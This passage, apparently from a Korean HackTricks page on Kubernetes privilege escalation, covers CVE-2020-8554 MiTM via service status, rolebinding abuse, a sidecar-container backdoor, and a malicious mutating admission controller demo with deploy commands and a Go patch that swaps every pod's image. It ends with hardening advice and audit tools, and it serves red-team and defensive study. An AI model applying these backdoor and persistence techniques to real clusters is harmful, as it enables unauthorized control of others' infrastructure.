**services/status**를 수정할 수 있는 주체는 status.loadBalancer.ingress.ip 필드를 설정하여 미해결 CVE-2020-8554를 악용하고 MiTM 공격을 클러스터에 대한 시작할 수 있습니다. 대부분의 CVE-2020-8554 완화책은 ExternalIP services만 차단합니다(자세한 내용은 this 참조).

Nodes 및 Pods 상태

nodes/status 또는 pods/status에 대해 update 또는 patch 권한을 가진 주체는 스케줄링 제약(scheduling constraints)에 영향을 주도록 레이블을 수정할 수 있습니다.

Built-in Privileged Escalation Prevention

Kubernetes에는 권한 상승을 방지하는 내장 메커니즘이 있습니다.

이 시스템은 사용자가 roles 또는 role bindings을 수정하여 권한을 상승시키지 못하도록 보장합니다. 이 규칙의 적용은 API 레벨에서 이루어지며 RBAC authorizer가 비활성화된 경우에도 보호를 제공합니다.

규칙은 사용자가 role에 포함된 모든 권한을 보유한 경우에만 role을 생성하거나 업데이트할 수 있다고 규정합니다. 또한 사용자가 이미 가진 권한의 범위는 생성/수정하려는 role의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)로 제한됩니다.

Warning

이전 규칙에는 예외가 있습니다. 주체가 roles 또는 **clusterroles**에 대해 verb escalate 권한을 가지고 있다면, 자신이 그 권한을 직접 보유하지 않아도 roles 및 clusterroles의 권한을 상승시킬 수 있습니다.

Get & Patch RoleBindings/ClusterRoleBindings

Caution

이 기술은 예전에는 작동했지만, 제 테스트에 따르면 이전 섹션에서 설명한 동일한 이유로 더 이상 작동하지 않습니다. 이미 권한을 가지고 있지 않다면 자신이나 다른 SA에게 권한을 부여하기 위해 rolebinding을 생성/수정할 수 없습니다.

Rolebindings을 생성할 수 있는 권한은 사용자가 role을 service account에 바인딩할 수 있게 합니다. 이 권한은 사용자가 관리자 권한(admin privileges)을 손상된 service account에 바인딩할 수 있으므로 잠재적인 권한 상승으로 이어질 수 있습니다.

Other Attacks

Sidecar proxy app

기본적으로 pods 간 통신에는 암호화가 없습니다. 상호 인증(mutual authentication), 양방향, pod 간 통신 보호가 없습니다.

Create a sidecar proxy app

사이드카 컨테이너는 단순히 pod 내부에 두 번째(또는 그 이상) 컨테이너를 추가하는 것으로 구성됩니다.

예를 들어, 다음은 컨테이너 2개를 가진 pod의 구성 일부입니다:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

예를 들어, 기존 pod에 새 container로 backdoor를 심으려면 specification에 새 container를 추가하기만 하면 됩니다. 참고로 두 번째 container에 첫 번째 container가 가지지 못한 더 많은 권한을 부여할 수 있다는 점에 유의하세요.

More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

악성 Admission Controller

admission controller는 객체가 영구 저장되기 전에, 그러나 요청이 인증된 후 그리고 권한이 부여된 후Kubernetes API server로의 요청을 가로챕니다.

만약 공격자가 어떻게든 **Mutation Admission Controller를 주입(inject)**하는 데 성공하면, 이미 인증된 요청을 **수정(modify)**할 수 있게 됩니다. 이는 잠재적으로 privesc를 가능하게 하며, 더 흔하게는 클러스터에 지속적으로 남을 수 있습니다.

예제 출처 https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

준비되었는지 상태를 확인하세요:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

그런 다음 새 pod를 배포하세요:

kubectl run nginx --image nginx
kubectl get po -w

ErrImagePull 오류가 보일 경우, 다음 쿼리 중 하나로 이미지 이름을 확인하세요:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

위 이미지에서 보듯이, 우리는 nginx 이미지를 실행하려 했지만 실제로 실행된 이미지는 rewanthtammana/malicious-image였습니다. 무슨 일이 일어난 건가요!?

기술적 세부사항

./deploy.sh 스크립트는 mutating webhook admission controller를 설정하며, 구성 파일의 설정에 따라 Kubernetes API로 향하는 요청을 수정하여 관찰된 결과에 영향을 미칩니다:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

위 스니펫은 모든 pod의 첫 번째 컨테이너 이미지를 rewanthtammana/malicious-image로 교체합니다.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

모범 사례

Service Account Token 자동 마운트 비활성화

  • Pods and Service Accounts: 기본적으로 pods는 service account 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes에서는 이 자동 마운트 기능을 비활성화할 수 있습니다.
  • How to Apply: Kubernetes 버전 1.6부터 service accounts 또는 pods의 설정에서 automountServiceAccountToken: false로 설정하세요.

RoleBindings/ClusterRoleBindings에서의 사용자 제한 할당

  • Selective Inclusion: RoleBindings 또는 ClusterRoleBindings에는 필요한 사용자만 포함되도록 하세요. 정기적으로 감사(audit)하여 관련 없는 사용자를 제거해 보안을 유지하세요.

네임스페이스별 Roles 사용 (클러스터 전체 Roles 대신)

  • Roles vs. ClusterRoles: 클러스터 전체에 적용되는 ClusterRoles 및 ClusterRoleBindings 대신 네임스페이스별 권한에는 Roles 및 RoleBindings 사용을 권장합니다. 이 방법은 더 세밀한 제어와 권한 범위 제한을 제공합니다.

자동화 도구 사용

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters \xc2\xb7 GitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark \xc2\xb7 GitHub

References

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기